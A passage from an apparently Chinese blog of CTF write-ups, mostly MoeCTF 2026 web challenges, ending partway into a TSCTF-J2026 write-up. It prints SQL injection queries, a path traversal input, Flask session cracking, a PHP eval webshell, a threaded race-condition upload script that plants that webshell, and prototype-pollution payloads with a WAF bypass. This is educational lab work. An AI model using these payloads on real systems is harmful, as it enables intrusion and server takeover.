<section><h2>Web 安全与渗透测试<a href="#web-安全与渗透测试"><span>#</span></a></h2><section><h3>查分系统<a href="#查分系统"><span>#</span></a></h3><p>下载静态的 <code>system.html</code> 打开源代码，<code>Ctrl + F</code> 查询 <code>moectf</code> 即可得到 flag 。</p></section><section><h3>归途<a href="#归途"><span>#</span></a></h3><p>先看控制台，我们发现了 <code>Key1-N2ghNUkkTQ==</code> ，base64 解码后发现这是 <code>7h!5I$M</code> ，推测是 flag 的一部分。继续审计源码，发现了一行注释：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;!-- Key2-QDBtNG9k --&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>解码后为 <code>@0m4od</code> ，而后又在网络请求中发现了 key3（注意这一步审计源码也可以得到）：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>async</span><span> </span><span>function</span><span> </span><span>pollKey</span><span>() {</span></div></div><div><div><div>2</div></div><div><span>  </span><span>try</span><span> {</span></div></div><div><div><div>3</div></div><div><span>    </span><span>const</span><span> </span><span>res</span><span> </span><span>=</span><span> </span><span>await</span><span> </span><span>fetch</span><span>(</span><span>"/getKey?id=3"</span><span>, { </span><span>cache</span><span>:</span><span> </span><span>"no-store"</span><span> });</span></div></div><div><div><div>4</div></div><div><span>    </span><span>const</span><span> </span><span>data</span><span> </span><span>=</span><span> </span><span>await</span><span><span> </span><span>res</span><span>.</span></span><span>json</span><span>();</span></div></div><div><div><div>5</div></div><div><span><span>  </span></span><span>} </span><span>catch</span><span><span> (</span><span>error</span><span>) {</span></span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>document</span><span>.</span><span>getElementById</span><span>(</span><span>"api-status"</span><span>).</span><span>textContent</span><span> </span><span>=</span><span> </span><span>"Request failed"</span><span>;</span></div></div><div><div><div>7</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>8</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>{</span></div></div><div><div><div>2</div></div><div><span>    </span><span>"key"</span><span>: </span><span>"Key3-M0szeUVuKw=="</span><span>,</span></div></div><div><div><div>3</div></div><div><span>    </span><span>"message"</span><span>: </span><span>"Do you know url params? Try to get Key4"</span></div></div><div><div><div>4</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>这里的 <code>url params</code> 指的是 url 后面所带的参数，其格式为 <code>?param1=value1&amp;&amp;param2=value2...</code> ，省略号表示可以有多个类似结构的参数。观察这个 GET 方法，我们可以看到其传了一个 <code>id=3</code> 从而得到了 key3 ，那么 key4 显然就是 <code>id=4</code> 咯，尝试 GET key4（这一步可以在浏览器中直接输入网址进行，也可以在工具中进行）：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>{</span></div></div><div><div><div>2</div></div><div><span>  </span><span>"key"</span><span>: </span><span>"Key4-ZXJUaDFzbGE="</span><span>,</span></div></div><div><div><div>3</div></div><div><span>  </span><span>"message"</span><span>: </span><span>"Do you know HTTP headers? Check it. Besides, Try to POST this api"</span></div></div><div><div><div>4</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>这里让我们 check 一下 <code>HTTP headers</code> ，即查看一下返回的请求头：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>HTTP</span><span>/</span><span>1.0</span><span> </span><span>200</span><span> </span><span>OK</span></div></div><div><div><div>2</div></div><div><span>Server</span><span>:</span><span> </span><span>BaseHTTP/0.6 Python/3.12.13</span></div></div><div><div><div>3</div></div><div><span>Date</span><span>:</span><span> </span><span>Tue, 13 Oct 2026 05:57:14 GMT</span></div></div><div><div><div>4</div></div><div><span>Content-Type</span><span>:</span><span> </span><span>application/json; charset=utf-8</span></div></div><div><div><div>5</div></div><div><span>key</span><span>:</span><span> </span><span>Key5-ITkzdA==</span></div></div><div><div><div>6</div></div><div><span>Content-Length</span><span>:</span><span> </span><span>108</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>下一步是 POST 刚刚那个 api ：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>{</span></div></div><div><div><div>2</div></div><div><span>  </span><span>"key"</span><span>: </span><span>"Key6-ZnwxbGFA"</span><span>,</span></div></div><div><div><div>3</div></div><div><span>  </span><span>"message"</span><span>: </span><span>"Try login!"</span></div></div><div><div><div>4</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>再下一步是尝试登录，由于没有给具体的登录方式，猜测直接构造 url <code>/login</code> 来进入登录，给出了账号与密码直接登录，登录后提示：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>Do you know cookie(不能吃)? Try to login the account of "admin"</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>在 cookie 中发现了一个 <code>user:guest</code> ，修改为 <code>user:admin</code> 即可进入下一步：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>Key7-NGFAZzY5Nmc5</span></div></div><div><div><div>2</div></div><div><span>有一个文件限制了爬虫可以访问的内容，是什么呢？</span></div></div><div><div><div>3</div></div><div><span>All Key body are a b64 string, try to decode</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>凭借常识可知题目说的是 <code>/robots.txt</code> ，访问后得到一个路径 <code>/f13ggggg</code> ，访问后输入最终解码的内容：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>Key1   N2ghNUkkTQ==   7h!5I$M</span></div></div><div><div><div>2</div></div><div><span>Key2   QDBtNG9k       @0m4od</span></div></div><div><div><div>3</div></div><div><span>Key3   M0szeUVuKw==   3K3yEn+</span></div></div><div><div><div>4</div></div><div><span>Key4   ZXJUaDFzbGE=   erTh1sla</span></div></div><div><div><div>5</div></div><div><span>Key5   ITkzdA==       !93t</span></div></div><div><div><div>6</div></div><div><span>Key6   ZnwxbGFA       f|1la@</span></div></div><div><div><div>7</div></div><div><span>Key7   NGFAZzY5Nmc5   4a@g696g9</span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span>7h!5I$M@0m4od3K3yEn+erTh1sla!93tf|1la@4a@g696g9</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>便可以得到最终的 flag 。</p></section><section><h3>当零来敲门<a href="#当零来敲门"><span>#</span></a></h3><blockquote><p>快来和群友（并不是）一起玩快乐的数字接龙！只要大家齐心协力从 1 数到 500，出题人就把 Flag 白送给你！</p><p>诶等等，怎么聊天室里混进来了一个…… 这个「林林」是个无情的刷屏复读机，每过 10 秒钟就必须看到一次 0。只要它发了 0，大家刚刚数出来的进度就当场重置归零！</p></blockquote><p>显然靠手速在 10 秒内打完 500 次是不现实的，考虑 Python 脚本自动进行报数。</p><p>先尝试报数 1 ，即可在浏览器 Devtools 的  <code>Network</code> 中找到是向 <code>/chat</code> 发送了一个 POST 请求，请求的表单包括用户名和消息。连接上 SSH 后在交互式 Python 中使用以下代码即可。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>import</span><span> requests</span></div></div><div><div><div>2</div></div><div><span><span>url </span><span>=</span><span> </span></span><span>"http://127.0.0.1:8080/chat"</span></div></div><div><div><div>3</div></div><div><span>for</span><span> i </span><span>in</span><span> </span><span>range</span><span>(</span><span>500</span><span>):</span></div></div><div><div><div>4</div></div><div><span><span>  </span></span><span>data </span><span>=</span><span> {</span><span>"user"</span><span>: </span><span>"cck"</span><span>, </span><span>"msg"</span><span><span>: i</span><span>+</span></span><span>1</span><span>}</span></div></div><div><div><div>5</div></div><div><span><span>  </span></span><span>res </span><span>=</span><span> requests.</span><span>post</span><span>(url, </span><span>json</span><span><span> </span><span>=</span><span> data)</span></span></div></div><div><div><div>6</div></div><div><span>  </span><span>print</span><span>(res.status_code)</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>MoeCatchTheFrogs<a href="#moecatchthefrogs"><span>#</span></a></h3><blockquote><p>MoeCTF 2026 官方群已经被绿色青蛙占领！！🐸🐸🐸</p><p>传说抓住所有的九种青蛙，就可以获得一份神秘礼物……</p></blockquote><p>点击抓青蛙后发现 <code>cookie</code> 中多了一个 <code>frog_session</code> ，看样式应该是 flask-session ，使用 flask-unsign 即可爆破出弱口令 <code>qwe123456</code> ，然后构造出 <code>{'frogs':[0,1,2,3,4,5,6,7,8,9]}</code> 的对应 session ，修改本地后刷新网页即可。</p><p>注意这个口令貌似在 flask-unsign 默认词典里没有，需要换个体量更大的 wordlist 。</p></section><section><h3>古籍翻阅<a href="#古籍翻阅"><span>#</span></a></h3><p>容器打开后是一大堆的古籍，随便点击几本进去都是 <code>404 - 此卷散佚</code> ，联系题目名字我们应该要找到一个特殊的古籍，而题目给了所有古籍的目录，我们可以写一个简单的 python 脚本来处理这个目录，从中找到突破口：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>with</span><span> </span><span>open</span><span>(</span><span>"guji_catalog.txt"</span><span>, </span><span>"r"</span><span>) </span><span>as</span><span> f:</span></div></div><div><div><div>2</div></div><div><span><span>    </span></span><span>content </span><span>=</span><span> </span><span>sorted</span><span><span>(f.</span><span>readlines</span><span>())</span></span></div></div><div><div><div>3</div></div><div><span>    </span><span>for</span><span> line </span><span>in</span><span> content:</span></div></div><div><div><div>4</div></div><div><span>        </span><span>print</span><span><span>(line.</span><span>strip</span><span>())</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>在输出的 s 和 z 开头的文件之间我们可以看到一个与众不同的文件名字 <code>true_file</code>：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>...</span></div></div><div><div><div>2</div></div><div><span>shi/tongjian/www</span></div></div><div><div><div>3</div></div><div><span>true_file</span></div></div><div><div><div>4</div></div><div><span>zi/laozi/admin</span></div></div><div><div><div>5</div></div><div><span>...</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>推测这是下一步的突破口，我们在 html 源码中搜寻该文件名得到：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;</span><span>a</span><span> </span><span>class</span><span>=</span><span>"scroll-link"</span><span> </span><span>href</span><span>=</span><span>"[/read?book=true_file](http://127.0.0.1:51569/read?book=true_file)"</span><span>&gt;&lt;</span><span>span</span><span> </span><span>class</span><span>=</span><span>"seal"</span><span>&gt;0737&lt;/</span><span>span</span><span>&gt;&lt;</span><span>span</span><span> </span><span>class</span><span>=</span><span>"title"</span><span>&gt;无名真卷&lt;/</span><span>span</span><span>&gt;&lt;</span><span>span</span><span> </span><span>class</span><span>=</span><span>"meta"</span><span>&gt;孤本&lt;/</span><span>span</span><span>&gt;&lt;/</span><span>a</span><span>&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>点进去后得到了提示：</p><blockquote><p>其实flag藏在了根目录下，去看看根目录吧</p></blockquote><p>这里尝试了 <code>/flag</code> , <code>/read?book=/flag</code> ，<code>/read?book=flag</code> 等都是无果的。后来盯着目录文件看了半天突然发现这很像是文件结构，考虑存在路径穿越漏洞，于是尝试 <code>/read?book=../../</code> 成功得到 flag ：<code>moectf{re@d_the_r00t_5utr4_w1th_path_tr4v3r5@l}</code> 。从 flag 可以看出路径穿越确实是该题预期知识点。</p></section><section><h3>河湖小盗<a href="#河湖小盗"><span>#</span></a></h3><p>打开界面非常简洁的一个网信院往年试题检索系统，很明显要使用 sql 注入。</p><p>首先尝试输入 <code>1</code> ，可以看到返回了序号为 1 的登记人的信息，尝试输入 <code>1 or 1=1</code> ，发现全部 5 条信息都出现了，说明是数字型注入，上下文内不存在引号且查询参数后面没有任何内容。观察表格有三列，猜测查询内容有三列，尝试使用联合注入 <code>1 union select 1,2,3</code> ，成功将 <code>1,2,3</code> 带到了返回的结果里来。</p><p>通过特征函数 <code>version()</code> 与 <code>sqlite_version()</code> 可以判断出数据库是 MySQL 8.0.46 ，则使用 MySQL 的方法查表名列名等：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1</span><span> </span><span>union</span><span> </span><span>select</span><span> group_concat(table_name),</span><span>2</span><span>,</span><span>3</span><span> </span><span>from</span><span> </span><span>information_schema</span><span>.</span><span>tables</span><span> </span><span>where</span><span><span> table_schema</span><span>=</span></span><span>database</span><span>()</span></div></div><div><div><div>2</div></div><div><span>1</span><span> </span><span>union</span><span> </span><span>select</span><span> group_concat(column_name),</span><span>2</span><span>,</span><span>3</span><span> </span><span>from</span><span> </span><span>information_schema</span><span>.</span><span>columns</span><span> </span><span>where</span><span><span> table_name</span><span>=</span></span><span>"flag_table"</span></div></div><div><div><div>3</div></div><div><span>1</span><span> </span><span>union</span><span> </span><span>select</span><span> flag,</span><span>2</span><span>,</span><span>3</span><span> </span><span>from</span><span> flag_table </span><span>where</span><span><span> id</span><span>=</span></span><span>1</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>最终可以得到 flag ：<code>moectf{h3re_i5_your_7e$7_pap3r}</code> 。</p></section><section><h3>我刚一提交就发现了三个问题<a href="#我刚一提交就发现了三个问题"><span>#</span></a></h3><blockquote><p>我在你们这才交了几个文件，我已经发现三个问题了：</p><p>首先，（啪啪啪），在线提交，这文件怎么进了你的私人的目录里呢？</p><p>第二，这个文件我刚传进去，我还没拿到flag呢，这已经被删了，诶，这说明你们的后端逻辑有问题啊</p><p>第三，这个木马已经被我传上去了，这位邪恶的出题人，你怎么不给我flag呢？那请问我怎么才能解题呢？</p><p>（尝试提交内容为题目描述的文本文件会有惊喜，不包含括号内容，注意消除行间空格）</p></blockquote><p>首先分析题目，通过提交文件可知这应该是一道文件上传漏洞题目。由题目第二点可知后端有对上传的文件进行校验，剩下两点看不出有什么作用。</p><p>连接上 wsrx 后对网页进行观察，尝试随便上传一个文件 <code>1.txt</code> ，发现会有回显上传路径为 <code>/private/1.txt</code> ，访问后可以看到文件内容。尝试编辑一句话木马 <code>&lt;?php @eval($_POST[\"cmd\"]); ?&gt;</code> 并上传，发现正常显示上传路径，但是访问时出现 <code>404</code> 。说明未通过服务器校验后被删除文件。此外还进行了其他尝试如改后缀名为 <code>php3</code> 、<code>php5</code> 等，将 PHP 代码通过 <code>txt</code> 格式上传等，均会出现 <code>404</code> ，推测后端校验会校验内容，于是另找方向突破。</p><p>从正常显示上传路径可猜测服务器大概率是先保存文件再进行校验文件的，中间可能存在允许访问文件的窗口，联想到<strong>竞态条件漏洞</strong>。我们可以通过多线程上传文件与访问文件，使得上传的文件在还未校验删除的窗口期被触发，从而植入不会被校验的木马文件，再访问木马文件即可。</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>import</span><span> requests</span></div></div><div><div><div>2</div></div><div><span>import</span><span> threading</span></div></div><div><div><div>3</div></div><div><span>import</span><span> time</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span><span>BASE_URL</span><span> </span><span>=</span><span> </span></span><span>"http://127.0.0.1:1883"</span></div></div><div><div><div>6</div></div><div><span><span>SEND_PATH</span><span> </span><span>=</span><span> </span></span><span>"/submit"</span></div></div><div><div><div>7</div></div><div><span><span>GET_PATH</span><span> </span><span>=</span><span> </span></span><span>"/private/a.php"</span></div></div><div><div><div>8</div></div><div><span><span>THREAD_COUNT</span><span> </span><span>=</span><span> </span></span><span>20</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span><span>PAYLOAD</span><span> </span><span>=</span><span> </span></span><span>"&lt;?php file_put_contents('ckk.php', '&lt;?php @eval($_POST[</span><span>\"</span><span>cmd</span><span>\"</span><span>]); ?&gt;'); echo 'Mamba out!'; ?&gt;"</span></div></div><div><div><div>11</div></div><div><span><span>files </span><span>=</span><span> {</span></span><span>'file'</span><span>: (</span><span>'a.php'</span><span><span>, </span><span>PAYLOAD</span><span>, </span></span><span>'application/x-php'</span><span>)}</span></div></div><div><div><div>12</div></div><div>
</div></div><div><div><div>13</div></div><div><span><span>stop_event </span><span>=</span><span> threading.</span><span>Event</span><span>()</span></span></div></div><div><div><div>14</div></div><div>
</div></div><div><div><div>15</div></div><div><span>def</span><span> </span><span>send_payload</span><span>():</span></div></div><div><div><div>16</div></div><div><span>    </span><span>while</span><span> </span><span>not</span><span><span> stop_event.</span><span>is_set</span><span>():</span></span></div></div><div><div><div>17</div></div><div><span>        </span><span>try</span><span>:</span></div></div><div><div><div>18</div></div><div><span><span>            </span></span><span>response </span><span>=</span><span> requests.</span><span>post</span><span>(</span><span>BASE_URL</span><span> </span><span>+</span><span> </span><span>SEND_PATH</span><span>, </span><span>files</span><span><span>=</span><span>files, </span></span><span>timeout</span><span>=</span><span>1</span><span>)</span></div></div><div><div><div>19</div></div><div><span><span>            </span></span><span>time.</span><span>sleep</span><span>(</span><span>0.01</span><span>)</span></div></div><div><div><div>20</div></div><div><span>        </span><span>except</span><span> </span><span>Exception</span><span> </span><span>as</span><span> e:</span></div></div><div><div><div>21</div></div><div><span>            </span><span>pass</span></div></div><div><div><div>22</div></div><div>
</div></div><div><div><div>23</div></div><div><span>def</span><span> </span><span>get_shell</span><span>():</span></div></div><div><div><div>24</div></div><div><span>    </span><span>while</span><span> </span><span>not</span><span><span> stop_event.</span><span>is_set</span><span>():</span></span></div></div><div><div><div>25</div></div><div><span>        </span><span>try</span><span>:</span></div></div><div><div><div>26</div></div><div><span><span>            </span></span><span>res </span><span>=</span><span> requests.</span><span>get</span><span>(</span><span>BASE_URL</span><span> </span><span>+</span><span> </span><span>GET_PATH</span><span>, </span><span>timeout</span><span>=</span><span>1</span><span>)</span></div></div><div><div><div>27</div></div><div><span>            </span><span>if</span><span><span> res.status_code </span><span>==</span><span> </span></span><span>200</span><span> </span><span>and</span><span> </span><span>"Mamba out!"</span><span> </span><span>in</span><span> res.text:</span></div></div><div><div><div>28</div></div><div><span>                </span><span>print</span><span>(</span><span>"Shell obtained!"</span><span>)</span></div></div><div><div><div>29</div></div><div><span><span>                </span></span><span>stop_event.</span><span>set</span><span>()</span></div></div><div><div><div>30</div></div><div><span>                </span><span>return</span></div></div><div><div><div>31</div></div><div><span>            </span><span>else</span><span>:</span></div></div><div><div><div>32</div></div><div><span>                </span><span>pass</span></div></div><div><div><div>33</div></div><div><span>        </span><span>except</span><span> </span><span>Exception</span><span> </span><span>as</span><span> e:</span></div></div><div><div><div>34</div></div><div><span>            </span><span>pass</span></div></div><div><div><div>35</div></div><div><span><span>        </span></span><span>time.</span><span>sleep</span><span>(</span><span>0.01</span><span>)</span></div></div><div><div><div>36</div></div><div>
</div></div><div><div><div>37</div></div><div><span>if</span><span> </span><span>__name__</span><span><span> </span><span>==</span><span> </span></span><span>"__main__"</span><span>:</span></div></div><div><div><div>38</div></div><div><span><span>    </span></span><span>threads </span><span>=</span><span> []</span></div></div><div><div><div>39</div></div><div><span>    </span><span>for</span><span> _ </span><span>in</span><span> </span><span>range</span><span><span>(</span><span>THREAD_COUNT</span><span>):</span></span></div></div><div><div><div>40</div></div><div><span><span>        </span></span><span>t </span><span>=</span><span> threading.</span><span>Thread</span><span>(</span><span>target</span><span><span>=</span><span>send_payload)</span></span></div></div><div><div><div>41</div></div><div><span><span>        </span></span><span>threads.</span><span>append</span><span>(t)</span></div></div><div><div><div>42</div></div><div><span><span>        </span></span><span>t.</span><span>start</span><span>()</span></div></div><div><div><div>43</div></div><div>
</div></div><div><div><div>44</div></div><div><span><span>    </span></span><span>get_shell</span><span>()</span></div></div><div><div><div>45</div></div><div>
</div></div><div><div><div>46</div></div><div><span>    </span><span>for</span><span> t </span><span>in</span><span> threads:</span></div></div><div><div><div>47</div></div><div><span><span>        </span></span><span>t.</span><span>join</span><span>(</span><span>timeout</span><span><span> </span><span>=</span><span> </span></span><span>1</span><span>)</span></div></div><div><div><div>48</div></div><div>
</div></div><div><div><div>49</div></div><div><span>    </span><span>print</span><span>(</span><span>"All threads have finished."</span><span>)</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>运行后等待输出 <code>Shell obstained!</code> ，然后访问 <code>/private/ckk.php</code>，界面空白，在开发者工具中网络选项卡看到状态码为 <code>200</code> ，则注入成功。而后用蚁剑连接，在根目录下的 <code>flag</code> 文件中得到 flag ：<code>moectf{h0t_$0y_m!1k_ha5_n0_$+raw}</code> 。</p></section><section><h3>合乎周礼 &amp; 礼崩乐坏<a href="#合乎周礼--礼崩乐坏"><span>#</span></a></h3><p>同一系列的题，通过访问 <code>/api/help</code> 得到以下信息：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>{</span></div></div><div><div><div>2</div></div><div><span>  </span><span>"name"</span><span>: </span><span>"配置中心"</span><span>,</span></div></div><div><div><div>3</div></div><div><span>  </span><span>"routes"</span><span>: {</span></div></div><div><div><div>4</div></div><div><span>    </span><span>"GET /"</span><span>: </span><span>"题目描述"</span><span>,</span></div></div><div><div><div>5</div></div><div><span>    </span><span>"GET /api/me"</span><span>: </span><span>"查看当前用户的配置"</span><span>,</span></div></div><div><div><div>6</div></div><div><span>    </span><span>"POST /api/profile"</span><span>: </span><span>"提交 JSON 配置"</span><span>,</span></div></div><div><div><div>7</div></div><div><span>    </span><span>"GET /api/flag"</span><span>: </span><span>"只有审核 isAdmin=true 且 canReadFlag=true 时返回 FLAG"</span></div></div><div><div><div>8</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>9</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>访问 <code>/api/me</code> 得到以下信息：</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>{</span></div></div><div><div><div>2</div></div><div><span>  </span><span>"ok"</span><span>: </span><span>true</span><span>,</span></div></div><div><div><div>3</div></div><div><span>  </span><span>"profile"</span><span>: {</span></div></div><div><div><div>4</div></div><div><span>    </span><span>"profile"</span><span>: {</span></div></div><div><div><div>5</div></div><div><span>      </span><span>"nickname"</span><span>: </span><span>"guest"</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>},</span></div></div><div><div><div>7</div></div><div><span>    </span><span>"theme"</span><span>: {</span></div></div><div><div><div>8</div></div><div><span>      </span><span>"color"</span><span>: </span><span>"blue"</span></div></div><div><div><div>9</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>10</div></div><div><span><span>  </span></span><span>},</span></div></div><div><div><div>11</div></div><div><span>  </span><span>"inheritedProbe"</span><span>: {</span></div></div><div><div><div>12</div></div><div><span>    </span><span>"isAdmin"</span><span>: </span><span>null</span><span>,</span></div></div><div><div><div>13</div></div><div><span>    </span><span>"canReadFlag"</span><span>: </span><span>null</span></div></div><div><div><div>14</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>15</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>可知我们需要做的事情就是让 <code>inheritedProbe</code> 下的两个属性全部都变为 <code>true</code> 。尝试 POST <code>/api/profile</code> 并上传 JSON 可以发现上传的东西会被解析添加到 <code>profile</code> 下，无法直接修改我们要的 <code>inheritedProbe</code> 。这种隔空影响属性的要求能够联想到<strong>原型链污染</strong>。</p><p>前者不存在 WAF ，所以直接用最简单的方式即可：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>{</span></div></div><div><div><div>2</div></div><div><span>  </span><span>"profile"</span><span>: {</span></div></div><div><div><div>3</div></div><div><span>    </span><span>"__proto__"</span><span>: {</span></div></div><div><div><div>4</div></div><div><span>      </span><span>"isAdmin"</span><span>: </span><span>true</span><span>,</span></div></div><div><div><div>5</div></div><div><span>      </span><span>"canReadFlag"</span><span>: </span><span>true</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>7</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>8</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>后者存在 WAF ，禁止嵌套对象，否则会返回 “<strong>配置值仅允许布尔值、数字、短字符串或 null</strong>” ，那后端有可能采用的是类似“<strong>点号路径赋值</strong>”的函数，能够传入扁平键值对。尝试构造 <code>__proto__.isAdmin</code> ，发现如果遇到 <code>__proto__</code> 会返回 “<strong>此举不合礼制</strong>”  。经过尝试后发现出题人没有屏蔽 <code>constructor</code> ，构造以下 JSON 即可：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>{</span></div></div><div><div><div>2</div></div><div><span>  </span><span>"profile"</span><span>: {</span></div></div><div><div><div>3</div></div><div><span>    </span><span>"constructor.prototype.isAdmin"</span><span>: </span><span>true</span><span>,</span></div></div><div><div><div>4</div></div><div><span>  </span><span>"constructor.prototype.canReadFlag"</span><span>: </span><span>true</span></div></div><div><div><div>5</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>6</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section>]]></content>
    </entry>
    <entry>
      <id>https://ch0kk4ku.github.io/posts/tsctf-j2026-writeup/</id>
      <title type="text">TSCTF-J2026 Writeup</title>
      <published>2026-10-15T00:00:00.000Z</published>
      <updated>2026-10-15T00:00:00.000Z</updated>
      <author><name>Ch0kk4ku</name></author>
      <link rel="alternate" href="https://ch0kk4ku.github.io/posts/tsctf-j2026-writeup/"/>
      <summary type="text">这真的是招新赛吗 qwq</summary>
      <content type="html"><![CDATA[<div><div><div></div><div>本 WP 只涵盖笔者在正赛期间提交正确 flag 的 9 道题与未做出的一道题的一些赛时 WP ，笔者在赛后（如果有）做出的，会放在 Writeup 2 中。</div></div><div></div></div>
<blockquote><p>部分题目步骤采用 dsh 或是网页版 ds 或是 bing、各路博客辅助思路。</p></blockquote>
<section><h2>abstract<a href="#abstract"><span>#</span></a></h2><section><h3>Dried Milkdragon<a href="#dried-milkdragon"><span>#</span></a></h3><p>奶龙题，题目给出一张图是某品牌芒果干，在天猫超市转了一圈只看到了同品牌的另一款较大包芒果干，但是经过观察图像发现芒果干袋子的钩子是透明的，而天猫超市（以及后面的永年超市）的正常货架的钩子是非透明的圆柱状，又转了一圈发现之前忽略的在货架边上的一整条挂下来的商品有部分满足该现象，同时观察到图片内芒果干袋子下方有同品牌该产品没有的花纹，而图片左下角有粉色的同款花纹——说明多种口味的该种芒果干在竖行同一处，所以推测这是货架侧面商品，天猫超市中货架侧面没有符合的商品。于是去永年超市，然后便找到目标，商品旁有一个意见本，翻到最后一页即为 flag 。</p><p>以上分析过程是无聊且懒得出去的时候想的，有助于加快一点点实地找的速度，其实只需要细心一点去遍历两个超市所有商品即可。</p></section><section><h3>emoji<a href="#emoji"><span>#</span></a></h3><p>发散能力不够，遂 Deepseek 解出答案。（以下为 ds 原话）</p><ul>
<li>🌝🌚：明 + 月 → <strong>明月</strong></li>
<li>👋：送别，谐音“松”</li>
<li>🚀：火箭有“箭”，谐音“间”</li>
<li>👋：招手，谐音“照”</li>
<li>😙：亲，谐音“清”</li>
<li>🤛：拳，谐音“泉”</li>
<li>🤛：拳头硬如石 → <strong>石</strong></li>
<li>🌞：太阳在天上 → <strong>上</strong></li>
<li>🌧️：下雨流水 → <strong>流</strong></li>
</ul><p>虽然我觉得这好雷霆啊这真的简单吗（？</p></section></section>
<section><h2>web<a href="#web"><span>#</span></a></h2><section><h3>好想玩原神<a href="#好想玩原神"><span>#</span></a></h3><p>首先观察界面，是个原神登录界面，尝试随便输入用户名与密码，返回零条通行证记录并且 redirect 到原神官网（x</p><p>尝试代码审计，查看源代码的时候发现注释中含有 checkit 的账号名单，随便挑选一个可以登录成功并且返回不知所云的通行证记录。通过 Yakit 进行全部账号尝试后发现返回的东西没有什么特殊的（如 cookie 等），遂猜测可能是 SQL 注入（？</p><p>首先使 <code>password:Windfall2407'</code> ，发现返回的内容变成了：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>{</span></div></div><div><div><div>2</div></div><div><span>  </span><span>"detail"</span><span>: </span><span>"OperationalError"</span><span>,</span></div></div><div><div><div>3</div></div><div><span>  </span><span>"error"</span><span>: </span><span>"登录网关解析失败"</span></div></div><div><div><div>4</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>上网查询后发现是 sqlite3 的常见错误，也就是说是字符型注入。尝试 sqlite 相关函数如 <code>sqlite_version()</code> ，构造 payload 时却一直发现出现 <code>403</code> 错误，查看返回体发现：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>{</span></div></div><div><div><div>2</div></div><div><span>  </span><span>"error"</span><span>: </span><span>"blocked by login firewall"</span><span>,</span></div></div><div><div><div>3</div></div><div><span>  </span><span>"redirect"</span><span>: </span><span>"https://ys.mihoyo.com/"</span></div></div><div><div><div>4</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>出现了 WAF ，通过逐个构造，发现注释如 <code>#</code> <code>/**/</code> <code>--</code> 等都被 ban 了，包括 <code>and</code> <code>or</code> 等也都被 ban 了，但是 <code>union</code> 居然是没有被 ban 的，这意味着出题人大概率是要我们用联合注入。现在问题变成如何在无法使用注释的情况下完成对 <code>password</code> 的后引号闭合或者是无效化。上网查询资料后发现可以通过 <code>||'</code> 的方式完成闭合，将整个查询语句拼凑为类似于 <code>select 1,2,3,'4'||''</code> 的样子。</p><p>要联合查询就要知道查询列数，从返回的 json 可以看出有四个项，故猜测有 4 列，发现确实如此。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>Windfall2407</span><span>' union select 